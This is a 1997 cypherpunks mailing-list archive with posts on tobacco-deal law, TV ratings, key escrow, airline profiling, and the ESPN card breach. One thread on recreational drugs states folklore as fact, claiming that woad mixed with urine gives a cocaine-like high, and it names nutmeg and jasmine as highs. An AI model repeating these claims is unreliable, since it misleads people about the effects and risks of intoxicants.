Aviation Administration officials said Wednesday. 

But the proposal, scaled down from what a presidential commission
recommended in September, immediately drew fire from airline safety and
civil rights proponents. 

The FAA will require that "first, passengers are profiled and selected
bags are searched or matched," said Bruce Butterworth, director of civil
aviation security
operations, in an interview with USA TODAY. 

Airlines are expected to match bags with about 5% of fliers. A
computerized profiling system will identify those who might pose a
security risk. Example: passengers
who buy tickets with cash. 

If someone matches the profile, their bags would not be stowed until
they actually board the plane. 

Total bag matching is routine on international flights. 

But American Airlines executive vice president Robert Baker says he
doubts that the Dec. 31 deadline will be met because airlines are still
developing a profiling
system. "We'll be lucky to have this in place by next year," he says. 

The FAA says it was encouraged that a test of bag matching in May at 12
U.S. airports didn't cause massive delays. Proponents of 100% bag
matching say the FAA
caved into the airlines' demands. 

"This weakens the whole idea of bag matching. It's about time the FAA
decides whether it's on the side of profits for the airlines or on the
side of safety," says
Susan Cohen, whose daughter was killed by the terrorist bombing of Pan
Am Flight 103 in 1988. 

The presidential commission had proposed that every passenger be matched
with every bag on all domestic flights. 

But after the airlines objected, fearing massive delays, it agreed to a
combination of profiling and limited matching. 

Others say profiling may discriminate against some ethnic groups.
"Passengers should not have to give up essential liberties just to get
on planes," says the ACLU's
Gregory Nojeim. 

By Donna Rosato, USA TODAY





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Unprivileged user <nobody@www.video-collage.com>
Date: Fri, 11 Jul 1997 05:32:45 +0800
To: cypherpunks@Algebra.COM
Subject: Re: The Recent Trend in "Collective Contracts"
In-Reply-To: <v03102805afeab8b29d2f@[207.167.93.63]>
Message-ID: <97Jul10.172448edt.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 10 Jul 1997, Tim May wrote:

> 1. The "tobacco agreement." Supposedly a deal involving the transfer of
> 2. The "voluntary ratings" agreement being announced today by Al Gore and
> 
> The issue, it seems to me, is that ordinary concepts of illegality and
> civil liability are being swept aside in favor of these huge "deals" to
> reduce liability in exchange for various actions. Well, who is bound by
> these deals?

I think that in the first case it is a "template" for legislative action,
so that if congress passes it, it binds the states and the companies.
Otherwise you have the lawyers and lobbyists for both sides getting all
the money.

The second case is more of an industry standards type argument - If Gore
was not there, then instead of one network saying "moderately nasty
language" and a second flashing L3 on the screen, everone will use the
same method, something like the SAE standardizes on tool sizes.
Politicians gather around because it makes it look like they are doing
something useful.

> (Caveat: My personal and libertarian view is that lawsuits against
> cigarette companies are wrong and should not be supported in a free
> society. And lawsuits by various states to "recover health care costs" are
> especially bogus. By this logic, McDonald's could be sued by California
> because California paid out more health care benefits to meat-eaters than
> it did to vegetarians. Utterly bogus.)

I think people have the right to sue, but no tobacco company can be found
guilty of witholding information (the warning on the cigarette pack was by
statute adequate notice - in the same law that required the notices).

One of the problems is that such agreements specifically limit my right to
use the courts to address torts - which should be for the court to decide
the validity.  Our legal system needs other reforms (e.g. loser pays), but
eliminating all civil courts isn't the way to correct it.

If states don't like paying medicaid and medicare to smokers, they are
free to pass laws (or have congress pass laws) denying public health care
to anyone who has smoked in the last X years.  Add drug and/or alcohol use
and our welfare rolls would nearly disappear.  I don't think anyone has
any more right to smoke and collect welfare than drink and drive.  (I go
further, but this is a proper subset of my views).

> Anyway, the free speech aspects of these deals are also worrisome. The
> "voluntary restrictions" on advertising, for example. Would the
> aforementioned "Tim's Tobacco Company," not a party to this Grand Deal, be
> somehow bound by a deal wherein it could not sponsor sporting events? Or
> advertise? Or even speak out against the deal?

As when the banks encourage you to "Buy Savings Bonds"?  Tim May could
probably say whatever he wanted in any place they would accept the ad, but
commercial speech seems to be more limited.  It would depend if the
contract was passed as a bill.

> These huge mega-deals are a crummy way to interpret the U.S. Constitution.
> I fear the "Grand Compromise" deal that the telecom and crypto companies
> are being drawn into.

The problem is they are bills masquerading as contracts.  The industry
assumes that congress will do the wrong thing if they don't act to get
something first.  Normally congress doesn't revisit an issue after
something is done and everyone forgets about it, and no one ever reads the
fine print.

The larger question is whether I, as a US Citizen, can write and publish a
program under the first ammendment, and could US Citizens use such a
program, if there were any crypto agreement in place or law passed
covering programs sold by US companies.  I don't think code-as-speech is
as threatened as code-as-product.  At least not yet.

--- reply to tzeruch - at - ceddec - dot - com ---





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael C Taylor <mctaylor@mta.ca>
Date: Fri, 11 Jul 1997 04:46:25 +0800
To: amp@pobox.com
Subject: Re: Jim Bell reference
In-Reply-To: <Chameleon.868552644.amp@ampugh.mcit.com>
Message-ID: <Pine.LNX.3.96.970710163137.21206K-100000@fractal.mta.ca>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 10 Jul 1997 amp@pobox.com wrote:
> 
> Gee, suprise, suprise. D.Denning is behind anti-encryption (anti
> liberty) propaganda.
> 
> If you search the net for writings or speeches by Denning, and any
> government reports about encryption,, you will find that she is the
> source of most anti-encryption propaganda in the u.s..

Most of her academic research was before she became involved in government
policies. Since she is now in a position of trust with the government she
could be the cypherpunks friend rather than foe. It appears that the paper
on key recovery  penned by various well-respected 'cypherpunks' like
Blaze, Neumann, Rivest, Schiller, and Schneier (not everyone I know) has
indeed had an effect on her. 

The one major difference in Dr. Denning's point of view is that she has a
large degree of trust in LEA. Period. That is the difference
between Dr. Denning and the average cypherpunk. 

Denning believes that encryption will hinder law enforcement. It will, it
may already. The difference is that she 'sees' a way to prevent that while
maintaining privacy of the indiviual (from other indiviuals). This is true
and if the infrastructure could be built it, would work to a
limited degree. 

The evidence is weak, in an article from May of this year, Denning quotes
500 cases world-wide, but neglects to follow-up with which of these cases
were solved regardless; due to other evidence or because the suspect was
using crummy crypto. 

Denning doesn't seem too concern with lawless government access, access
beyond the scope, government tampering or forgery of information which are
possible with poor key escrow technologies.

Denning talks of unnamed test projects, she thinks finanical businesses do
deserve to be special under export regulations (or knows that they would
lean on the regulations to remove them), and knows enough about people to
know that there is no need to mandate 'key recovery,' businesses want to
buy into it.

At least Denning does not recomment domestic restrictions (she'd be out of
a job if so) and is willing to admit to a change of heart. 

Anyway everyone knows that celluar phones catch more criminals than any
other law enforcement tool (like hard work).

--
Michael C. Taylor <mctaylor@mta.ca> <http://www.mta.ca/~mctaylor/>
Legalize mathematics





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <root@nwdtc.com>
Date: Fri, 11 Jul 1997 08:36:32 +0800
To: cypherpunks@Algebra.COM
Subject: A cheery note from USA Today
Message-ID: <33C57FF8.249B@nwdtc.com>
MIME-Version: 1.0
Content-Type: text/plain



http://www.usatoday.com/usafront.htm

This from their little happy factiod section...

"Since FDA approval of Prozac in 1987, the number of
Americans taking the anti-depressant has grown to 20
million."

And considering the side-effects of Prozac, it is any wonder we live in
a sexually frustrated nation?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Fri, 11 Jul 1997 06:25:42 +0800
To: cypherpunks@toad.com
Subject: Re: Recreational pharmaceuticals by genetic engineering (fwd)
Message-ID: <Pine.SUN.3.96.970710181651.22003D-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Thu, 10 Jul 1997 18:09:27 -0400 (EDT)
From: "Eileen Tronolone (Pathfinder)" <eileent@pathfinder.com>
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: Recreational pharmaceuticals by genetic engineering (fwd)

Also Sprach Ray Arachelian:

> Psilocibe mushrooms usually cause vomiting.  Most Amanita species
> have an lethal dosage which is uncomfortably close to the
> effective dosage, not a good thing in a drug.  Amanita muscaria
> however was used by the vikings to help induce their 'berserker'
> state for battle.

Actually - and you can forward this to relevant parties - woad, the
infamous herb used by the Celtic warrior in the form of blue body 
paint, when mixed with urine (which is how they applied it to their
bodies) causes a reaction very similar to cocaine and most amphetamines.
The reduction in pain that is felt from wounds and the ecstacy brought
on can easily be confused with a typical beserker reaction. The term
beserk originates from "bare sark" - the beserkers wore little if no
armor and the Celts are particularily famous for going into battle
"in the altogether" except for the blue war-paint. The feeling of
invulnerability that comes from the woad "high" led to this custom.

Other semi-legal although dangerous "highs" can result from the 
ingestion of too much nutmeg or jasmine, both hallucenogens. 

-- 
Eileen Tronolone     | eileent@pathfinder.com | Do not           CD  c
System Administrator | redsonja@giti.com      | taunt --------P===\==/
Commerce Team        | gotagun@liii.com       | happy fun         /_\__
Time Inc. New Media  | 212-522-9121           | fencer!             _\ \





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Peter Swire <swire.1@osu.edu>
Date: Fri, 11 Jul 1997 06:42:39 +0800
To: cypherpunks@cyberpass.net
Subject: Re: The Recent Trend in "Collective Contracts"
Message-ID: <199707102236.SAA07074@mail3.uts.ohio-state.edu>
MIME-Version: 1.0
Content-Type: text/plain



At 09:29 AM 7/10/97 -0700, Tim May wrote:

>I'm not a lawyer, but I am interested in the various ramifications--and the
>constitutionality--of recent "sweeping contracts" between vendors,
>lawmakers, consumers, etc.
>
>Two recent example:
>
>1. The "tobacco agreement." Supposedly a deal involving the transfer of
>$360 billion from some number of tobacco companies in exchange for dropping
>of liability suits, immunity from future claims, voluntary restrictions (!)
>on advertising, etc. (And the "etc." is especially complicated in this huge
>case.)

        So far as I know, the agreement has no legal effect until and unless
a bill is enacted in Congress. Once a bill is enacted, there can obviously
be far-reaching ramifications.  For instance, an individual's right to sue
in tort can be cut off.  Punitive damages can be abolished for the defined
class of suits, etc.
        If such a bill is enacted, various groups would likely sue on the
basis that it is unconstitutional.  That's what happened with CDA -- the
indecency provisions first became law, and then were overturned in the courts.
>
>2. The "voluntary ratings" agreement being announced today by Al Gore and
>some of the television networks. (Earlier "voluntary agreements" were
>implemented, but, according to supporters of censorship, "failed." Hence
>the new push for newer voluntary restrictions.)

        The big legal fight on ratings is whether any "state action" takes
place.  The First Amendment governs efforts by a federal or state government
to restrict speech.  If private companies "voluntarily" agree to do
something, the First Amendment simply does not apply.  But if the coercive
power of the state forces them to do the same thing, then the courts can get
involved under the First Amendment.
        Here, if the government is too explicit that it will ban certain
speech unless the networks ban it, then a court might find that the
government in fact is involved in an impermissible way.

>The issue, it seems to me, is that ordinary concepts of illegality and
>civil liability are being swept aside in favor of these huge "deals" to
>reduce liability in exchange for various actions. Well, who is bound by
>these deals?
>
>If "Tim's Tobacco Company" starts up next year, after this deal is
>"signed," is his company bound by this deal? If Tim the Smoker develops
>lung cancer, is he blocked from suing?
>

       The basic concepts are pretty clear.  A contract among various
parties binds that group of parties.  A statute of general applicability can
regulate everyone in the jurisdiction.
       The existing tobacco companies can't bind "Tim's Tobacco Company" in
their contract.  However, if they support a bill in Congress, and the
statute is enacted, then their actions might indeed play a role in
restricting your actions later on.

        Peter

Prof. Peter Swire
Ohio State University
College of Law
mailto:swire.1@osu.edu
web: http://www.osu.edu/units/law/swire.htm (in early stages of construction)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Fri, 11 Jul 1997 11:20:57 +0800
To: John Young <jya@pipeline.com>
Subject: Re: Hacker cracks ESPN
In-Reply-To: <1.5.4.32.19970711013002.006d30e4@pop.pipeline.com>
Message-ID: <3.0.2.32.19970710200813.03f1f290@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



At 09:30 PM 7/10/97 -0400, John Young wrote:
>
>Lynn Harrison wrote:
>
>>Starwave is warning customers about an "intruder" who took credit card
>>numbers from the ESPN and NBA Web sites and then sent messages to the card
>>owners about the alleged security flaws. Will the security breach on the
>>popular sports sites affect emerging e-commerce efforts?
>
>Is this the same story as the one in The Wall Street Journal today
>about Phiber Optic's "accidentally" sending worldwide a security
>test that automatically returns passwords stored on supposedly
>secure systems?

Nope.

http://www.computerworld.com/news/news_articles/970710onlineccard.html

Online credit-card scare an inside job,
          Starwave says 

          Two separate but chilling messages were sent to people who
          purchased items online from ESPNet or the NBA Store this
          week. The first anonymous E-mail told shoppers they had
          been the victims of careless security and that their
          credit-card numbers and addresses were easily available.

          The second message, sent by E-mail and regular mail by the
          World Wide Web sites' host, Starwave Corp., alerted 2,397
          online shoppers that their credit-card information might have
          been misappropriated.

          Starwave said the credit-card information was in a secure,
          encrypted area that was accessed by an intruder who had
          the proper password information. "This was not done by a
          hacker," said Jennifer Yazzolino, a Starwave spokeswoman.
          "They knew how to get in to the system and unlawfully used
          classified information." The area that the intruder broke in to
          was an order-processing system that sends shoppers'
          orders from each site to 1-800-PRO-TEAM, a Florida
          fulfillment company.

          Following the break-in, Starwave called in the FBI and the U.S.
          Secret Service to investigate. It has also implemented a new
          encryption process and changed all system passwords. "We
          think this is a matter of a password either being used
          directly by someone involved with the system or passed along
          directly by someone involved in the system," Yazzolino said. 

          "We relied too much on human integrity."

>Phiber claims he did not know the test would generate a flood of
>passwords to his e-mail address: from corps, mils, and govs. 
>Says he's so sorry, especially because he's still doing
>community service.

One of the articles on the "hack" revealed that it was the INN hole
reported a while back.  The only people who got "caught" by the hack were
people who did not update their software.

>Phiber's employer refused to name the computer corp that installed the
>secure system Phiber was testing. However, experts interviewed said 
>the password snarf feature is, ahem, well-known to experts, and that 
>the only security worth trusting is the one you build and run yourself 
>and test frequently and still makes you lay awake at night shivering in 
>doubt fear and uncertainty -- like guilty-parental senators, TLA directors, 
>and all the world's bearers of the public trust and such fundy druggies.

It also shows what happens when you do not follow even the basic CERT
warnings...

---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marshall Clow <mclow@owl.csusm.edu>
Date: Fri, 11 Jul 1997 11:21:40 +0800
To: Peter Swire <cypherpunks@cyberpass.net
Subject: Re: The Recent Trend in "Collective Contracts"
In-Reply-To: <199707102236.SAA07074@mail3.uts.ohio-state.edu>
Message-ID: <v03102809afeb5318b909@[207.67.207.179]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:36 PM -0700 7/10/97, Peter Swire wrote:
>At 09:29 AM 7/10/97 -0700, Tim May wrote:
>
>>I'm not a lawyer, but I am interested in the various ramifications--and the
>>constitutionality--of recent "sweeping contracts" between vendors,
>>lawmakers, consumers, etc.
>>
>>Two recent example:
>>
>>1. The "tobacco agreement." Supposedly a deal involving the transfer of
>>$360 billion from some number of tobacco companies in exchange for dropping
>>of liability suits, immunity from future claims, voluntary restrictions (!)
>>on advertising, etc. (And the "etc." is especially complicated in this huge
>>case.)
>
>        So far as I know, the agreement has no legal effect until and unless
>a bill is enacted in Congress. Once a bill is enacted, there can obviously
>be far-reaching ramifications.  For instance, an individual's right to sue
>in tort can be cut off.  Punitive damages can be abolished for the defined
>class of suits, etc.
>        If such a bill is enacted, various groups would likely sue on the
>basis that it is unconstitutional.  That's what happened with CDA -- the
>indecency provisions first became law, and then were overturned in the courts.
>
That was my take, too.

IANAL, but I don't see how this "agreement" can possibly work.
Especially since it's not an agreement at all.

Congress will pass a law, and if the tobacco companies don't like
it, (a foregone conclusion, given the posturing going on) they will
sue to overturn it. (And again IMHO, they'll win.)

Then congress will pass another law more to the
tobacco companies liking.

I predict this will not be settled until after Clinton leaves office.

>>2. The "voluntary ratings" agreement being announced today by Al Gore and
>>some of the television networks. (Earlier "voluntary agreements" were
>>implemented, but, according to supporters of censorship, "failed." Hence
>>the new push for newer voluntary restrictions.)
>
>        The big legal fight on ratings is whether any "state action" takes
>place.  The First Amendment governs efforts by a federal or state government
>to restrict speech.  If private companies "voluntarily" agree to do
>something, the First Amendment simply does not apply.  But if the coercive
>power of the state forces them to do the same thing, then the courts can get
>involved under the First Amendment.
>        Here, if the government is too explicit that it will ban certain
>speech unless the networks ban it, then a court might find that the
>government in fact is involved in an impermissible way.
>
What is the (legal) downside to a network (or producer)
saying "No, I won't rate my shows."?
Personally, I'd love to see Disney do this.

-- Marshall

Marshall Clow     Aladdin Systems   <mailto:mclow@mailhost2.csusm.edu>

"In Washington DC, officials from the White House, federal agencies and
Congress say regulations may be necessary to promote a free-market
system." --  CommunicationsWeek International April 21, 1997






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marshall Clow <mclow@owl.csusm.edu>
Date: Fri, 11 Jul 1997 11:21:29 +0800
To: Alan Olsen <root@nwdtc.com>
Subject: Re: Airlines to start profiling, bag matching
In-Reply-To: <33C57D63.422E@nwdtc.com>
Message-ID: <v0310280aafeb55463c3b@[207.67.207.179]>
MIME-Version: 1.0
Content-Type: text/plain



>Others say profiling may discriminate against some ethnic groups.
>"Passengers should not have to give up essential liberties just to get
>on planes," says the ACLU's Gregory Nojeim.
>
Yes, but we've already lost that fight.
Your papers, please?

-- Marshall

Marshall Clow     Aladdin Systems   <mailto:mclow@mailhost2.csusm.edu>

"In Washington DC, officials from the White House, federal agencies and
Congress say regulations may be necessary to promote a free-market
system." --  CommunicationsWeek International April 21, 1997






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Fri, 11 Jul 1997 11:50:18 +0800
To: Marshall Clow <mclow@owl.csusm.edu>
Subject: Re: Airlines to start profiling, bag matching
In-Reply-To: <33C57D63.422E@nwdtc.com>
Message-ID: <3.0.2.32.19970710204125.00b7b9f0@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



At 08:13 PM 7/10/97 -0700, Marshall Clow wrote:
>
>>Others say profiling may discriminate against some ethnic groups.
>>"Passengers should not have to give up essential liberties just to get
>>on planes," says the ACLU's Gregory Nojeim.
>>
>Yes, but we've already lost that fight.
>Your papers, please?

"Is this Nazi land so good?  Would you leave it if you could?" - from the
missing part of the Clinton inaguration speech
---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 11 Jul 1997 09:51:18 +0800
To: cypherpunks@toad.com
Subject: Re: Hacker cracks ESPN
Message-ID: <1.5.4.32.19970711013002.006d30e4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Lynn Harrison wrote:

>Starwave is warning customers about an "intruder" who took credit card
>numbers from the ESPN and NBA Web sites and then sent messages to the card
>owners about the alleged security flaws. Will the security breach on the
>popular sports sites affect emerging e-commerce efforts?

Is this the same story as the one in The Wall Street Journal today
about Phiber Optic's "accidentally" sending worldwide a security
test that automatically returns passwords stored on supposedly
secure systems?

Phiber claims he did not know the test would generate a flood of
passwords to his e-mail address: from corps, mils, and govs. 
Says he's so sorry, especially because he's still doing
community service.

Phiber's employer refused to name the computer corp that installed the
secure system Phiber was testing. However, experts interviewed said 
the password snarf feature is, ahem, well-known to experts, and that 
the only security worth trusting is the one you build and run yourself 
and test frequently and still makes you lay awake at night shivering in 
doubt fear and uncertainty -- like guilty-parental senators, TLA directors, 
and all the world's bearers of the public trust and such fundy druggies.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Fri, 11 Jul 1997 11:04:19 +0800
To: azur@netcom.com (Steve Schear)
Subject: Re: Recreational pharmaceuticals by genetic engineering
In-Reply-To: <v03102807afea1f8f0451@[10.0.2.15]>
Message-ID: <199707110253.VAA02731@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain



> I know this is off-topic for the list...
> But why hasn't some cleaver graduate student engineered a common mold or
> yeast to yield easily extracted (or directly ingestible) common
> recreational pharmaceuticals?  Ideally it would be a perpetual source, like

	You mean like psilosybin (sp?) mushrooms? 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 11 Jul 1997 13:10:16 +0800
To: cypherpunks@cyberpass.net
Subject: Re: The Recent Trend in "Collective Contracts"
In-Reply-To: <199707102236.SAA07074@mail3.uts.ohio-state.edu>
Message-ID: <v03102801afeb676790ab@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



A thoughtful response from Peter Swire.

(Note to the lawyers, law professors, and other "reasonable" list readers
out there: We "extremists" might not be so consistently extremist if more
of you would write articles and/or responses. I used to write a lot of
fairly "reasonable" articles...of late I've lost much of my former patience
under the onslaught of major legislative proposals. The lack of articles
from the "reasonable" camp, for whatever reasons (*), has also helped shift
the debate to the more extreme side. (* Maybe they're tired of being
reasonable, too.))

At 3:36 PM -0700 7/10/97, Peter Swire wrote:
>At 09:29 AM 7/10/97 -0700, Tim May wrote:
>
>>I'm not a lawyer, but I am interested in the various ramifications--and the
>>constitutionality--of recent "sweeping contracts" between vendors,
>>lawmakers, consumers, etc.
>>
>>Two recent example:
>>
>>1. The "tobacco agreement." Supposedly a deal involving the transfer of
>>$360 billion from some number of tobacco companies in exchange for dropping
>>of liability suits, immunity from future claims, voluntary restrictions (!)
>>on advertising, etc. (And the "etc." is especially complicated in this huge
>>case.)
>
>        So far as I know, the agreement has no legal effect until and unless
>a bill is enacted in Congress. Once a bill is enacted, there can obviously
>be far-reaching ramifications.  For instance, an individual's right to sue
>in tort can be cut off.  Punitive damages can be abolished for the defined
>class of suits, etc.

Interestingly, the public officials/lawyers fighting the tobacco companies
are making clear statements of what will now happen. I agree that the
Congress has to pass the enabling legislation, blah blah.

But what Mike Moore, Attorney General of Mississsippi and the lead
prosecutor/whatever in the Grand Deal, said today is, paraphrasing: "There
will be no more Joe Camel ads, no more Marlboro Man ads, no more ads to
entice smokers."

This certainly sounds to me like a major law enforcement official crowing
about the deal reached. (And he seems to be implying that even companies
not in the Grand Deal will be similarly affected.)

Does this fit with the scenario you described (later in your post) for
evidence that the agreement was not voluntary? And are non-participants in
the Grand Deal to be bound by the legislation Congress will likely pass?
(My answer is the same as yours, I think: the Grand Deal will only be used
to trigger legislation. All companies will of course be bound by this
legislation. Some of the companies or civil liberties groups will sue on
various grounds. Supreme Court outcome unclear.)

>        If such a bill is enacted, various groups would likely sue on the
>basis that it is unconstitutional.  That's what happened with CDA -- the
>indecency provisions first became law, and then were overturned in the courts.

The Deal will likely unravel in various ways, except that the worst parts
of it--tightened restrictions on tobacco--will be enacted by Congress.

(I say "worst" in the liberty/freedom of choice sense. Personally, I have
never smoked a single cigarette and think anyone who does is foolish. But
being foolish is everyone's right. Taking away choice is not a solution a
free society can live with. This applies to advertising, which is pure
speech, in my view--the aforementioned point about sponsorship of sporting
events, or print ads, has zero, zip, nada to do with any alleged FCC role
in limiting use of the "public airwaves," so it's a speech issue. There are
possible FTC (advertising claims) and FDA (safety of nicotine if it is
deemed a drug) roles that some could plausibly argue, but these are not
central in the Grand Deal discussions, and are not at all the same as
halting sports advertising, etc. Lots of issues, obviously, and our posts
are only touching on a few facets.)

>>2. The "voluntary ratings" agreement being announced today by Al Gore and
>>some of the television networks. (Earlier "voluntary agreements" were
>>implemented, but, according to supporters of censorship, "failed." Hence
>>the new push for newer voluntary restrictions.)
>
>        The big legal fight on ratings is whether any "state action" takes
>place.  The First Amendment governs efforts by a federal or state government
>to restrict speech.  If private companies "voluntarily" agree to do
>something, the First Amendment simply does not apply.  But if the coercive
>power of the state forces them to do the same thing, then the courts can get
>involved under the First Amendment.

And getting back to the tobacco case,  Mississippi Att. General Mike Moore
seems mighty convinced that this "deal" will result in Joe Camel, the
Marlboro Man, etc., being permanently off the advertising pages of
magazines, off the sporting events, and so on.

If it remains an "industry deal" I see no way it could apply to Tim's
Tobacco Company, who was not a party to any such agreement.

And if Congress passes a law saying that no tobacco company may use cartoon
characters to advertise its products, this seems like a clear case of prior
restraint and dictation of advertising copy. Ditto for sporting events, etc.

A third possibility, and one which deserves a longer essay by someone, is
the role quasi-private organizations play. To cut to the chase,
organizations like the American Bar Association, American Medical
Association, etc.

These "guilds" are an interesting case of self-policing where there is no
option for opting out. (I don't believe it is possible to practice law or
medicine without approval/licensing from these kinds of
organizations/guilds.)

If the AMA cuts a deal with the government, can doctors argue that their
constitutional rights have been infringed upon?

(I can imagine cases where this is so, such as if the AMA adopted a
requirement that doctors speak in English only as a condition for retaining
their licenses. And so on, for other examples. But it is also clear that
these kinds of guilds are usually the preferred route of implementing
policy....)

Licensing in general is something I think is getting out of hand.

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Fri, 11 Jul 1997 11:10:12 +0800
To: tcmay@got.net (Tim May)
Subject: Re: Recreational pharmaceuticals by genetic engineering
In-Reply-To: <v03102800afead774beaf@[207.167.93.63]>
Message-ID: <199707110306.WAA02784@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain



> >try to haul off people who have pond scum in their bird feeders and the
> >like.  (Anything that will make them look even more absurd...)
> Speaking of which, I recall that the origins of LSD were from some kind of
> fungus or "rust" found on some types of grain.

	Ergot, a mold that grows on certain types of Rye or fescue, I forget
which. This is used to make Ergotamine (imine?) which is used in treatment
of certain types of migraines. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Fri, 11 Jul 1997 13:54:48 +0800
To: Tim May <tcmay@got.net>
Subject: Re: The Recent Trend in "Collective Contracts"
In-Reply-To: <199707102236.SAA07074@mail3.uts.ohio-state.edu>
Message-ID: <v03102801afeb78dc837d@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>Men from black helicopters forced Tim May to say:

>(I say "worst" in the liberty/freedom of choice sense. Personally, I have
>never smoked a single cigarette and think anyone who does is foolish. But
>being foolish is everyone's right. Taking away choice is not a solution a
>free society can live with. This applies to advertising, which is pure
>speech, in my view--the aforementioned point about sponsorship of sporting
>events, or print ads, has zero, zip, nada to do with any alleged FCC role
>in limiting use of the "public airwaves," so it's a speech issue. There are
>possible FTC (advertising claims) and FDA (safety of nicotine if it is
>deemed a drug) roles that some could plausibly argue, but these are not
>central in the Grand Deal discussions, and are not at all the same as
>halting sports advertising, etc. Lots of issues, obviously, and our posts
>are only touching on a few facets.)


What if private citizens decided to place Joe Camel ads in print and TV or
sponsor an event.  Would they also be constrained in their freedom of
speech?

--Steve







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Fri, 11 Jul 1997 14:04:16 +0800
To: cypherpunks@toad.com
Subject: Re: Cast of Characters for Crypto Politics (Judiciary Hearing)
Message-ID: <3.0.32.19970710224019.00a212b8@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain



At 12:15 PM 7/10/97 +0200, Anonymous wrote:

>  Does anyone know what color Blanc wears?
.......................................................


     White.



    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Fri, 11 Jul 1997 13:59:58 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Acclivity - A global web of change management
Message-ID: <3.0.32.19970710225813.0068c988@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain



At , Marc Fourny wrote:

>7 finally, we train the change team to innovate, install and implement new
structures and systems. In addition we develop a new project management
capability which is particularly key to success when radical change is
involved. 
>
>I would welcome the opportunity therefore of discussing with you your own
tranformation programme to see how we might be able to add value to your
own resources.
............................................................


Well, we could use some help with the Revolution.    We need a crack team
of precision go-getters who will lead the way towards the new
anarcho-capitalist utopia, overcoming all the obvious & sundry obstacles in
the way, particularly over by D.C. way.

Or, how about another way to have an alternative internet which develops
the way it originally grew and became so popular, before commercial
organizations and spamming gold-diggers noticed it and got this idea that
they could syphon advantages from it if only they could just control it,
shaping it in their image, turning it in their direction.

That would do it, for me.

<g>

    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Fri, 11 Jul 1997 14:21:48 +0800
To: Tim May <cypherpunks@Algebra.COM
Subject: Re: The Recent Trend in "Collective Contracts"
In-Reply-To: <v03102805afeab8b29d2f@[207.167.93.63]>
Message-ID: <v03007806afeb80d30688@[207.94.249.49]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:29 AM -0700 7/10/97, Tim May wrote:
>(Caveat: My personal and libertarian view is that lawsuits against
>cigarette companies are wrong and should not be supported in a free
>society. And lawsuits by various states to "recover health care costs" are
>especially bogus. By this logic, McDonald's could be sued by California
>because California paid out more health care benefits to meat-eaters than
>it did to vegetarians. Utterly bogus.)

It is especially bogus since it is not clear that the government isn't a
net winner between reduced social security and pension payments, and the
extra income from tobacco taxes.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 11 Jul 1997 14:27:34 +0800
